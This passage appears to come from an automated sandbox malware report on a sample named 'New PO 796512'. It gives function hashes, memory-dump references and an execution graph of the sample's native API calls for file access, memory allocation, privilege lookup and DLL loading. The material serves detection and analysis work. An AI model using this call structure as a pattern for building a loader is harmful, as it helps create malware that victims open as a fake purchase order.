                                                                                            • Instruction ID: ddd601c9087a5db5f8f7359af4fe1e3b37204ff288cd6d66371a43e75cc00328
                                                                                            • Opcode Fuzzy Hash: c9b4e7116c41d9d615a2e3bb07fcba6d96f76a0c4fb9f36225ad07df181ab8b9
                                                                                            • Instruction Fuzzy Hash: 3412AF34A002199FDB55DF68D884B9EBBF2FF84310F148569E909EB265DB30EC46CB90
                                                                                            Function 05ACAEF0 Relevance: .5, Instructions: 476COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000001.00000002.1366515080.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_1_2_5ac0000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 505b4c9cfcb056264b8f255f12cc143c03062c842f62fb5f0873c900cd769533
                                                                                            • Instruction ID: cd4e7c3cfa95982af0cc2dd23910f938a57c2a5e85e783d8af4cbe835f06d6ee
                                                                                            • Opcode Fuzzy Hash: 505b4c9cfcb056264b8f255f12cc143c03062c842f62fb5f0873c900cd769533
                                                                                            • Instruction Fuzzy Hash: C0224874A04218DFDB15CF64D885BADBBB2BF49301F5480A9E81AAB361CB31DD86CF50
                                                                                            Function 05AC9A70 Relevance: .5, Instructions: 454COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000001.00000002.1366515080.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_1_2_5ac0000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: f21f883c86936e7a50ddfdfaec01d66042079d4f3ff8a3aeb0aea754e6ce3f42
                                                                                            • Instruction ID: 87d1d0102d95db0c55d17d439a5fa999fd12209a73d094f257eba6de438f44d9
                                                                                            • Opcode Fuzzy Hash: f21f883c86936e7a50ddfdfaec01d66042079d4f3ff8a3aeb0aea754e6ce3f42
                                                                                            • Instruction Fuzzy Hash: BB122974A002059FD715DF68C584EAABBF2FF88300B59C599E919DB366D730EC46CBA0
                                                                                            Function 05AC49E8 Relevance: .4, Instructions: 401COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000001.00000002.1366515080.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_1_2_5ac0000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 0f44d908499454b5b3a32a9032b7c61f226a567cd64179500e13cd9c9ea54df9
                                                                                            • Instruction ID: 185b39f9a3e7d42e5155c3a04f68002f53606f7d142dfd10b84ccdf0a927dc7f
                                                                                            • Opcode Fuzzy Hash: 0f44d908499454b5b3a32a9032b7c61f226a567cd64179500e13cd9c9ea54df9
                                                                                            • Instruction Fuzzy Hash: E8F12E34A00209DFDF18DFA4D454AADBBB2FF88301F148469E916AB365DB35EC46CB90
                                                                                            Function 02E3E144 Relevance: .3, Instructions: 264COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000001.00000002.1363197426.0000000002E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E30000, based on PE: false
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_1_2_2e30000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 0f43f0101bb538c02bfce47edfae44ad55a62731d233397b0d891a57d83ae454
                                                                                            • Instruction ID: 2a19dcc87d40cea55030ad38d1d742c1e56d523351810b0113b59d2df70f5a79
                                                                                            • Opcode Fuzzy Hash: 0f43f0101bb538c02bfce47edfae44ad55a62731d233397b0d891a57d83ae454
                                                                                            • Instruction Fuzzy Hash: E0A18E32E502198FCF0ADFB5C8485DEBBB2FF85305B15956AE805AB261DB31E905CF90

                                                                                            Execution Graph

                                                                                            Execution Coverage:1.4%
                                                                                            Dynamic/Decrypted Code Coverage:2.7%
                                                                                            Signature Coverage:5.8%
                                                                                            Total number of Nodes:554
                                                                                            Total number of Limit Nodes:72
                                                                                            execution_graph 97108 41f090 97111 41b930 97108->97111 97112 41b956 97111->97112 97119 409d30 97112->97119 97114 41b962 97115 41b983 97114->97115 97127 40c1b0 97114->97127 97117 41b975 97163 41a670 97117->97163 97166 409c80 97119->97166 97121 409d3d 97122 409d44 97121->97122 97178 409c20 97121->97178 97122->97114 97128 40c1d5 97127->97128 97595 40b1b0 97128->97595 97130 40c22c 97599 40ae30 97130->97599 97132 40c252 97162 40c4a3 97132->97162 97608 414390 97132->97608 97134 40c297 97134->97162 97611 408a60 97134->97611 97136 40c2db 97136->97162 97618 41a4c0 97136->97618 97140 40c331 97141 40c338 97140->97141 97630 419fd0 97140->97630 97142 41bd80 3 API calls 97141->97142 97144 40c345 97142->97144 97144->97117 97146 40c382 97147 41bd80 3 API calls 97146->97147 97148 40c389 97147->97148 97148->97117 97149 40c392 97150 40f490 3 API calls 97149->97150 97151 40c406 97150->97151 97151->97141 97152 40c411 97151->97152 97153 41bd80 3 API calls 97152->97153 97154 40c435 97153->97154 97635 41a020 97154->97635 97157 419fd0 2 API calls 97158 40c470 97157->97158 97158->97162 97640 419de0 97158->97640 97161 41a670 2 API calls 97161->97162 97162->97117 97164 41a68f ExitProcess 97163->97164 97165 41af20 LdrLoadDll 97163->97165 97165->97164 97197 418b80 97166->97197 97170 409ca6 97170->97121 97171 409c9c 97171->97170 97204 41b270 97171->97204 97173 409ce3 97173->97170 97215 409aa0 97173->97215 97175 409d03 97221 409620 LdrLoadDll 97175->97221 97177 409d15 97177->97121 97567 41b560 97178->97567 97181 41b560 LdrLoadDll 97182 409c4b 97181->97182 97183 41b560 LdrLoadDll 97182->97183 97184 409c61 97183->97184 97185 40f170 97184->97185 97186 40f189 97185->97186 97575 40b030 97186->97575 97188 40f19c 97579 41a1a0 97188->97579 97192 40f1c2 97195 40f1ed 97192->97195 97588 41a220 97192->97588 97194 41a450 2 API calls 97196 409d55 97194->97196 97195->97194 97196->97114 97198 418b8f 97197->97198 97222 414e40 97198->97222 97200 409c93 97201 418a30 97200->97201 97228 41a5c0 97201->97228 97205 41b289 97204->97205 97235 414a40 97205->97235 97207 41b2a1 97208 41b2aa 97207->97208 97274 41b0b0 97207->97274 97208->97173 97210 41b2be 97210->97208 97292 419ec0 97210->97292 97545 407ea0 97215->97545 97217 409ac1 97217->97175 97218 409aba 97218->97217 97558 408160 97218->97558 97221->97177 97223 414e5a 97222->97223 97224 414e4e 97222->97224 97223->97200 97224->97223 97227 4152c0 LdrLoadDll 97224->97227 97226 414fac 97226->97200 97227->97226 97231 41af20 97228->97231 97230 418a45 97230->97171 97232 41af30 97231->97232 97233 41af52 97231->97233 97234 414e40 LdrLoadDll 97232->97234 97233->97230 97234->97233 97236 414d75 97235->97236 97237 414a54 97235->97237 97236->97207 97237->97236 97300 419c10 97237->97300 97240 414b80 97303 41a320 97240->97303 97241 414b63 97360 41a420 LdrLoadDll 97241->97360 97244 414ba7 97246 41bd80 3 API calls 97244->97246 97245 414b6d 97245->97207 97248 414bb3 97246->97248 97247 414d39 97250 41a450 2 API calls 97247->97250 97248->97245 97248->97247 97249 414d4f 97248->97249 97254 414c42 97248->97254 97369 414780 LdrLoadDll NtReadFile NtClose 97249->97369 97252 414d40 97250->97252 97252->97207 97253 414d62 97253->97207 97255 414ca9 97254->97255 97257 414c51 97254->97257 97255->97247 97256 414cbc 97255->97256 97362 41a2a0 97256->97362 97259 414c56 97257->97259 97260 414c6a 97257->97260 97361 414640 LdrLoadDll NtClose LdrInitializeThunk LdrInitializeThunk 97259->97361 97263 414c87 97260->97263 97264 414c6f 97260->97264 97263->97252 97318 414400 97263->97318 97306 4146e0 97264->97306 97266 414c60 97266->97207 97269 414d1c 97366 41a450 97269->97366 97270 414c7d 97270->97207 97271 414c9f 97271->97207 97273 414d28 97273->97207 97276 41b0c1 97274->97276 97275 41b0d3 97275->97210 97276->97275 97387 41bd00 97276->97387 97278 41b0f4 97390 414060 97278->97390 97280 41b140 97280->97210 97281 41b117 97281->97280 97282 414060 4 API calls 97281->97282 97285 41b139 97282->97285 97284 41b1ca 97286 41b1da 97284->97286 97509 41aec0 LdrLoadDll 97284->97509 97285->97280 97415 415380 97285->97415 97425 41ad30 97286->97425 97289 41b208 97504 419e80 97289->97504 97293 41af20 LdrLoadDll 97292->97293 97294 419edc 97293->97294 97536 1392c0a 97294->97536 97295 419ef7 97297 41bd80 97295->97297 97539 41a630 97297->97539 97299 41b319 97299->97173 97301 414b34 97300->97301 97302 41af20 LdrLoadDll 97300->97302 97301->97240 97301->97241 97301->97245 97302->97301 97304 41af20 LdrLoadDll 97303->97304 97305 41a33c NtCreateFile 97304->97305 97305->97244 97307 4146fc 97306->97307 97308 41a2a0 LdrLoadDll 97307->97308 97309 41471d 97308->97309 97310 414724 97309->97310 97311 414738 97309->97311 97312 41a450 2 API calls 97310->97312 97313 41a450 2 API calls 97311->97313 97314 41472d 97312->97314 97315 414741 97313->97315 97314->97270 97370 41bf90 LdrLoadDll RtlAllocateHeap 97315->97370 97317 41474c 97317->97270 97319 41444b 97318->97319 97320 41447e 97318->97320 97322 41a2a0 LdrLoadDll 97319->97322 97321 4145c9 97320->97321 97325 41449a 97320->97325 97323 41a2a0 LdrLoadDll 97321->97323 97324 414466 97322->97324 97332 4145e4 97323->97332 97326 41a450 2 API calls 97324->97326 97328 41a2a0 LdrLoadDll 97325->97328 97327 41446f 97326->97327 97327->97271 97329 4144b5 97328->97329 97330 4144d1 97329->97330 97331 4144bc 97329->97331 97336 4144d6 97330->97336 97337 4144ec 97330->97337 97335 41a450 2 API calls 97331->97335 97383 41a2e0 LdrLoadDll 97332->97383 97334 41461e 97338 41a450 2 API calls 97334->97338 97339 4144c5 97335->97339 97340 41a450 2 API calls 97336->97340 97346 4144f1 97337->97346 97371 41bf50 97337->97371 97341 414629 97338->97341 97339->97271 97342 4144df 97340->97342 97341->97271 97342->97271 97345 414557 97347 41456e 97345->97347 97382 41a260 LdrLoadDll 97345->97382 97353 414503 97346->97353 97374 41a3d0 97346->97374 97349 414575 97347->97349 97350 41458a 97347->97350 97351 41a450 2 API calls 97349->97351 97352 41a450 2 API calls 97350->97352 97351->97353 97354 414593 97352->97354 97353->97271 97355 4145bf 97354->97355 97377 41bb50 97354->97377 97355->97271 97357 4145aa 97358 41bd80 3 API calls 97357->97358 97359 4145b3 97358->97359 97359->97271 97360->97245 97361->97266 97363 414d04 97362->97363 97364 41af20 LdrLoadDll 97362->97364 97365 41a2e0 LdrLoadDll 97363->97365 97364->97363 97365->97269 97367 41af20 LdrLoadDll 97366->97367 97368 41a46c NtClose 97367->97368 97368->97273 97369->97253 97370->97317 97373 41bf68 97371->97373 97384 41a5f0 97371->97384 97373->97346 97375 41af20 LdrLoadDll 97374->97375 97376 41a3ec NtReadFile 97375->97376 97376->97345 97378 41bb74 97377->97378 97379 41bb5d 97377->97379 97378->97357 97379->97378 97380 41bf50 2 API calls 97379->97380 97381 41bb8b 97380->97381 97381->97357 97382->97347 97383->97334 97385 41af20 LdrLoadDll 97384->97385 97386 41a60c RtlAllocateHeap 97385->97386 97386->97373 97388 41bd2d 97387->97388 97510 41a500 97387->97510 97388->97278 97391 414071 97390->97391 97392 414079 97390->97392 97391->97281 97414 41434c 97392->97414 97513 41cef0 97392->97513 97394 4140cd 97395 41cef0 2 API calls 97394->97395 97399 4140d8 97395->97399 97396 414126 97398 41cef0 2 API calls 97396->97398 97400 41413a 97398->97400 97399->97396 97518 41cf90 97399->97518 97401 41cef0 2 API calls 97400->97401 97403 4141ad 97401->97403 97402 41cef0 2 API calls 97409 4141f5 97402->97409 97403->97402 97405 414324 97525 41cf50 LdrLoadDll RtlFreeHeap ExitProcess 97405->97525 97407 41432e 97526 41cf50 LdrLoadDll RtlFreeHeap ExitProcess 97407->97526 97524 41cf50 LdrLoadDll RtlFreeHeap ExitProcess 97409->97524 97410 414338 97527 41cf50 LdrLoadDll RtlFreeHeap ExitProcess 97410->97527 97412 414342 97528 41cf50 LdrLoadDll RtlFreeHeap ExitProcess 97412->97528 97414->97281 97416 415391 97415->97416 97417 414a40 9 API calls 97416->97417 97419 4153a7 97417->97419 97418 4153fa 97418->97284 97419->97418 97420 4153e2 97419->97420 97421 4153f5 97419->97421 97422 41bd80 3 API calls 97420->97422 97423 41bd80 3 API calls 97421->97423 97424 4153e7 97422->97424 97423->97418 97424->97284 97426 41ad44 97425->97426 97427 41abf0 LdrLoadDll 97425->97427 97529 41abf0 97426->97529 97427->97426 97430 41abf0 LdrLoadDll 97431 41ad56 97430->97431 97432 41abf0 LdrLoadDll 97431->97432 97433 41ad5f 97432->97433 97434 41abf0 LdrLoadDll 97433->97434 97435 41ad68 97434->97435 97436 41abf0 LdrLoadDll 97435->97436 97437 41ad71 97436->97437 97438 41abf0 LdrLoadDll 97437->97438 97439 41ad7d 97438->97439 97440 41abf0 LdrLoadDll 97439->97440 97441 41ad86 97440->97441 97442 41abf0 LdrLoadDll 97441->97442 97443 41ad8f 97442->97443 97444 41abf0 LdrLoadDll 97443->97444 97445 41ad98 97444->97445 97446 41abf0 LdrLoadDll 97445->97446 97447 41ada1 97446->97447 97448 41abf0 LdrLoadDll 97447->97448 97449 41adaa 97448->97449 97450 41abf0 LdrLoadDll 97449->97450 97451 41adb6 97450->97451 97452 41abf0 LdrLoadDll 97451->97452 97453 41adbf 97452->97453 97454 41abf0 LdrLoadDll 97453->97454 97455 41adc8 97454->97455 97456 41abf0 LdrLoadDll 97455->97456 97457 41add1 97456->97457 97458 41abf0 LdrLoadDll 97457->97458 97459 41adda 97458->97459 97460 41abf0 LdrLoadDll 97459->97460 97461 41ade3 97460->97461 97462 41abf0 LdrLoadDll 97461->97462 97463 41adef 97462->97463 97464 41abf0 LdrLoadDll 97463->97464 97465 41adf8 97464->97465 97466 41abf0 LdrLoadDll 97465->97466 97467 41ae01 97466->97467 97468 41abf0 LdrLoadDll 97467->97468 97469 41ae0a 97468->97469 97470 41abf0 LdrLoadDll 97469->97470 97471 41ae13 97470->97471 97472 41abf0 LdrLoadDll 97471->97472 97473 41ae1c 97472->97473 97474 41abf0 LdrLoadDll 97473->97474 97475 41ae28 97474->97475 97476 41abf0 LdrLoadDll 97475->97476 97477 41ae31 97476->97477 97478 41abf0 LdrLoadDll 97477->97478 97479 41ae3a 97478->97479 97480 41abf0 LdrLoadDll 97479->97480 97481 41ae43 97480->97481 97482 41abf0 LdrLoadDll 97481->97482 97483 41ae4c 97482->97483 97484 41abf0 LdrLoadDll 97483->97484 97485 41ae55 97484->97485 97486 41abf0 LdrLoadDll 97485->97486 97487 41ae61 97486->97487 97488 41abf0 LdrLoadDll 97487->97488 97489 41ae6a 97488->97489 97490 41abf0 LdrLoadDll 97489->97490 97491 41ae73 97490->97491 97492 41abf0 LdrLoadDll 97491->97492 97493 41ae7c 97492->97493 97494 41abf0 LdrLoadDll 97493->97494 97495 41ae85 97494->97495 97496 41abf0 LdrLoadDll 97495->97496 97497 41ae8e 97496->97497 97498 41abf0 LdrLoadDll 97497->97498 97499 41ae9a 97498->97499 97500 41abf0 LdrLoadDll 97499->97500 97501 41aea3 97500->97501 97502 41abf0 LdrLoadDll 97501->97502 97503 41aeac 97502->97503 97503->97289 97505 41af20 LdrLoadDll 97504->97505 97506 419e9c 97505->97506 97535 1392df0 LdrInitializeThunk 97506->97535 97507 419eb3 97507->97210 97509->97286 97511 41a51c NtAllocateVirtualMemory 97510->97511 97512 41af20 LdrLoadDll 97510->97512 97511->97388 97512->97511 97514 41cf00 97513->97514 97515 41cf06 97513->97515 97514->97394 97516 41bf50 2 API calls 97515->97516 97517 41cf2c 97516->97517 97517->97394 97519 41cfb5 97518->97519 97520 41cfed 97518->97520 97521 41bf50 2 API calls 97519->97521 97520->97399 97522 41cfca 97521->97522 97523 41bd80 3 API calls 97522->97523 97523->97520 97524->97405 97525->97407 97526->97410 97527->97412 97528->97414 97530 41ac0b 97529->97530 97531 414e40 LdrLoadDll 97530->97531 97532 41ac2b 97531->97532 97533 414e40 LdrLoadDll 97532->97533 97534 41acd7 97532->97534 97533->97534 97534->97430 97535->97507 97537 1392c1f LdrInitializeThunk 97536->97537 97538 1392c11 97536->97538 97537->97295 97538->97295 97540 41a64c RtlFreeHeap 97539->97540 97541 41af20 LdrLoadDll 97539->97541 97540->97299 97542 41a66b 97540->97542 97541->97540 97543 41af20 LdrLoadDll 97542->97543 97544 41a68f ExitProcess 97543->97544 97546 407eb0 97545->97546 97547 407eab 97545->97547 97548 41bd00 2 API calls 97546->97548 97547->97218 97551 407ed5 97548->97551 97549 407f38 97549->97218 97550 419e80 2 API calls 97550->97551 97551->97549 97551->97550 97552 407f3e 97551->97552 97556 41bd00 2 API calls 97551->97556 97561 41a580 97551->97561 97553 407f64 97552->97553 97555 41a580 2 API calls 97552->97555 97553->97218 97557 407f55 97555->97557 97556->97551 97557->97218 97559 41a580 2 API calls 97558->97559 97560 40817e 97559->97560 97560->97175 97562 41a59c 97561->97562 97563 41af20 LdrLoadDll 97561->97563 97566 1392c70 LdrInitializeThunk 97562->97566 97563->97562 97564 41a5b3 97564->97551 97566->97564 97568 41b583 97567->97568 97571 40ace0 97568->97571 97572 40ad04 97571->97572 97573 40ad40 LdrLoadDll 97572->97573 97574 409c3a 97572->97574 97573->97574 97574->97181 97576 40b053 97575->97576 97578 40b0d0 97576->97578 97593 419c50 LdrLoadDll 97576->97593 97578->97188 97580 41af20 LdrLoadDll 97579->97580 97581 40f1ab 97580->97581 97581->97196 97582 41a790 97581->97582 97583 41a7af LookupPrivilegeValueW 97582->97583 97584 41af20 LdrLoadDll 97582->97584 97583->97192 97585 41a7d6 97583->97585 97584->97583 97586 41af20 LdrLoadDll 97585->97586 97587 41a7ef 97586->97587 97587->97192 97589 41a23c 97588->97589 97590 41af20 LdrLoadDll 97588->97590 97594 1392ea0 LdrInitializeThunk 97589->97594 97590->97589 97591 41a25b 97591->97195 97593->97578 97594->97591 97596 40b1e0 97595->97596 97597 40b030 LdrLoadDll 97596->97597 97598 40b1f4 97597->97598 97598->97130 97600 40ae41 97599->97600 97601 40ae3d 97599->97601 97602 40ae8c 97600->97602 97604 40ae5a 97600->97604 97601->97132 97646 419c90 LdrLoadDll 97602->97646 97645 419c90 LdrLoadDll 97604->97645 97605 40ae9d 97605->97132 97607 40ae7c 97607->97132 97609 40f490 3 API calls 97608->97609 97610 4143b6 97609->97610 97610->97134 97612 408a79 97611->97612 97647 4087a0 97611->97647 97614 4087a0 20 API calls 97612->97614 97617 408a9d 97612->97617 97615 408a8a 97614->97615 97615->97617 97665 40f700 11 API calls 97615->97665 97617->97136 97619 41af20 LdrLoadDll 97618->97619 97620 41a4dc 97619->97620 97784 1392e80 LdrInitializeThunk 97620->97784 97621 40c312 97623 40f490 97621->97623 97624 40f4ad 97623->97624 97785 419f80 97624->97785 97627 40f4f5 97627->97140 97628 419fd0 2 API calls 97629 40f51e 97628->97629 97629->97140 97631 419fec 97630->97631 97632 41af20 LdrLoadDll 97630->97632 97791 1392d10 LdrInitializeThunk 97631->97791 97632->97631 97633 40c375 97633->97146 97633->97149 97636 41af20 LdrLoadDll 97635->97636 97637 41a03c 97636->97637 97792 1392d30 LdrInitializeThunk 97637->97792 97638 40c449 97638->97157 97641 41af20 LdrLoadDll 97640->97641 97642 419dfc 97641->97642 97793 1392fb0 LdrInitializeThunk 97642->97793 97643 40c49c 97643->97161 97645->97607 97646->97605 97648 407ea0 4 API calls 97647->97648 97663 4087ba 97648->97663 97649 408a49 97649->97612 97650 408a3f 97651 408160 2 API calls 97650->97651 97651->97649 97654 419ec0 2 API calls 97654->97663 97656 40c4b0 LdrLoadDll NtClose LdrInitializeThunk LdrInitializeThunk LdrInitializeThunk 97656->97663 97657 41a450 LdrLoadDll NtClose 97657->97663 97662 419de0 2 API calls 97662->97663 97663->97649 97663->97650 97663->97654 97663->97656 97663->97657 97663->97662 97666 419cd0 97663->97666 97669 4085d0 97663->97669 97681 40f5e0 LdrLoadDll NtClose 97663->97681 97682 419d50 LdrLoadDll 97663->97682 97683 419d80 LdrLoadDll 97663->97683 97684 419e10 LdrLoadDll 97663->97684 97685 4083a0 97663->97685 97701 405f60 LdrLoadDll 97663->97701 97665->97617 97667 41af20 LdrLoadDll 97666->97667 97668 419cec 97667->97668 97668->97663 97670 4085e6 97669->97670 97702 419840 97670->97702 97672 4085ff 97677 408771 97672->97677 97723 4081a0 97672->97723 97674 4086e5 97675 4083a0 12 API calls 97674->97675 97674->97677 97676 408713 97675->97676 97676->97677 97678 419ec0 2 API calls 97676->97678 97677->97663 97679 408748 97678->97679 97679->97677 97680 41a4c0 2 API calls 97679->97680 97680->97677 97681->97663 97682->97663 97683->97663 97684->97663 97686 4083c9 97685->97686 97763 408310 97686->97763 97689 41a4c0 2 API calls 97690 4083dc 97689->97690 97690->97689 97691 408467 97690->97691 97694 408462 97690->97694 97771 40f660 97690->97771 97691->97663 97692 41a450 2 API calls 97693 40849a 97692->97693 97693->97691 97695 419cd0 LdrLoadDll 97693->97695 97694->97692 97696 4084ff 97695->97696 97696->97691 97775 419d10 97696->97775 97698 408563 97698->97691 97699 414a40 9 API calls 97698->97699 97700 4085b8 97699->97700 97700->97663 97701->97663 97703 41bf50 2 API calls 97702->97703 97704 419857 97703->97704 97730 409310 97704->97730 97706 419872 97707 4198b0 97706->97707 97708 419899 97706->97708 97711 41bd00 2 API calls 97707->97711 97709 41bd80 3 API calls 97708->97709 97710 4198a6 97709->97710 97710->97672 97712 4198ea 97711->97712 97713 41bd00 2 API calls 97712->97713 97714 419903 97713->97714 97720 419ba4 97714->97720 97736 41bd40 97714->97736 97717 419b90 97718 41bd80 3 API calls 97717->97718 97719 419b9a 97718->97719 97719->97672 97721 41bd80 3 API calls 97720->97721 97722 419bf9 97721->97722 97722->97672 97724 40829f 97723->97724 97725 4081b5 97723->97725 97724->97674 97725->97724 97726 414a40 9 API calls 97725->97726 97728 408222 97726->97728 97727 408249 97727->97674 97728->97727 97729 41bd80 3 API calls 97728->97729 97729->97727 97731 409335 97730->97731 97732 40ace0 LdrLoadDll 97731->97732 97733 409368 97732->97733 97735 40938d 97733->97735 97739 40cf10 97733->97739 97735->97706 97757 41a540 97736->97757 97740 40cf3c 97739->97740 97741 41a1a0 LdrLoadDll 97740->97741 97742 40cf55 97741->97742 97743 40cf5c 97742->97743 97750 41a1e0 97742->97750 97743->97735 97747 40cf97 97748 41a450 2 API calls 97747->97748 97749 40cfba 97748->97749 97749->97735 97751 41a1fc 97750->97751 97752 41af20 LdrLoadDll 97750->97752 97756 1392ca0 LdrInitializeThunk 97751->97756 97752->97751 97753 40cf7f 97753->97743 97755 41a7d0 LdrLoadDll 97753->97755 97755->97747 97756->97753 97758 41af20 LdrLoadDll 97757->97758 97759 41a55c 97758->97759 97762 1392f90 LdrInitializeThunk 97759->97762 97760 419b89 97760->97717 97760->97720 97762->97760 97764 408328 97763->97764 97765 40ace0 LdrLoadDll 97764->97765 97766 408343 97765->97766 97767 414e40 LdrLoadDll 97766->97767 97768 408353 97767->97768 97769 40835c PostThreadMessageW 97768->97769 97770 40836c 97768->97770 97769->97770 97770->97690 97772 40f673 97771->97772 97778 419e50 97772->97778 97776 419d2c 97775->97776 97777 41af20 LdrLoadDll 97775->97777 97776->97698 97777->97776 97779 419e6c 97778->97779 97780 41af20 LdrLoadDll 97778->97780 97783 1392dd0 LdrInitializeThunk 97779->97783 97780->97779 97781 40f69e 97781->97690 97783->97781 97784->97621 97786 419f9c 97785->97786 97787 41af20 LdrLoadDll 97785->97787 97790 1392f30 LdrInitializeThunk 97786->97790 97787->97786 97788 40f4ee 97788->97627 97788->97628 97790->97788 97791->97633 97792->97638 97793->97643 97797 1392ad0 LdrInitializeThunk

                                                                                            Executed Functions

                                                                                            Function 0041A3D0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36filenativeCOMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 0 41a3d0-41a419 call 41af20 NtReadFile
                                                                                            APIs
                                                                                            • NtReadFile.NTDLL(bMA,5EB65239,FFFFFFFF,?,?,?,bMA,?,!JA,FFFFFFFF,5EB65239,00414D62,?,00000000), ref: 0041A415
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1419632315.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_400000_New PO 796512.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: FileRead
                                                                                            • String ID: !JA$bMA$bMA
                                                                                            • API String ID: 2738559852-4222312340
                                                                                            • Opcode ID: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
                                                                                            • Instruction ID: 54437c4e75339082d0912fbe7e6c9053912bd6928cda1a9760da43cab1c95c7d
                                                                                            • Opcode Fuzzy Hash: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
                                                                                            • Instruction Fuzzy Hash: C3F0A4B2200208ABCB14DF89DC81EEB77ADAF8C754F158249BA1D97241D630E8518BA4
                                                                                            Function 0041A44A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17filenativeCOMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 6 41a44a-41a44c NtReadFile
                                                                                            APIs
                                                                                            • NtReadFile.NTDLL(bMA,5EB65239,FFFFFFFF,?,?,?,bMA,?,!JA,FFFFFFFF,5EB65239,00414D62,?,00000000), ref: 0041A415
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1419632315.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_400000_New PO 796512.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: FileRead
                                                                                            • String ID: bMA
                                                                                            • API String ID: 2738559852-4028532242
                                                                                            • Opcode ID: 5f94fa6b1ae2c8a7f5032bc7f531e03f6b9ef86a62daac5c6bafdd422c93e0ed
                                                                                            • Instruction ID: bfd74c331f4f6b19d1a65097bc78825aa27259b594c9691ee219306c9de15f6e
                                                                                            • Opcode Fuzzy Hash: 5f94fa6b1ae2c8a7f5032bc7f531e03f6b9ef86a62daac5c6bafdd422c93e0ed
                                                                                            • Instruction Fuzzy Hash: 34D022791081087FC700CFA4AC81CF7B39CDFC8320304820EF94C83000C038AC1AA720
                                                                                            Function 0040ACE0 Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 242 40ace0-40acfc 243 40ad04-40ad09 242->243 244 40acff call 41cc10 242->244 245 40ad0b-40ad0e 243->245 246 40ad0f-40ad1d call 41d030 243->246 244->243 249 40ad2d-40ad3e call 41b460 246->249 250 40ad1f-40ad2a call 41d2b0 246->250 255 40ad40-40ad54 LdrLoadDll 249->255 256 40ad57-40ad5a 249->256 250->249 255->256
                                                                                            APIs
                                                                                            • LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 0040AD52
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1419632315.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_400000_New PO 796512.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Load
                                                                                            • String ID:
                                                                                            • API String ID: 2234796835-0
                                                                                            • Opcode ID: 343ab67df369899ddd45e960eb1e1cf1cc0407856a101373337c9296a528243f
                                                                                            • Instruction ID: 93036d1b31c8ba6342ae8de3f2893f5930aff37f33252288d1eb8296453bc5b5
                                                                                            • Opcode Fuzzy Hash: 343ab67df369899ddd45e960eb1e1cf1cc0407856a101373337c9296a528243f
                                                                                            • Instruction Fuzzy Hash: FF015EB5E0020DABDB10EBA1DC42FDEB3789F14308F0041AAE908A7281F634EB54CB95
                                                                                            Function 0041A320 Relevance: 1.5, APIs: 1, Instructions: 40filenativeCOMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 265 41a320-41a371 call 41af20 NtCreateFile
                                                                                            APIs
                                                                                            • NtCreateFile.NTDLL(00000060,00409CE3,?,00414BA7,00409CE3,FFFFFFFF,?,?,FFFFFFFF,00409CE3,00414BA7,?,00409CE3,00000060,00000000,00000000), ref: 0041A36D
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1419632315.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_400000_New PO 796512.jbxd
                                                                                            Yara matches
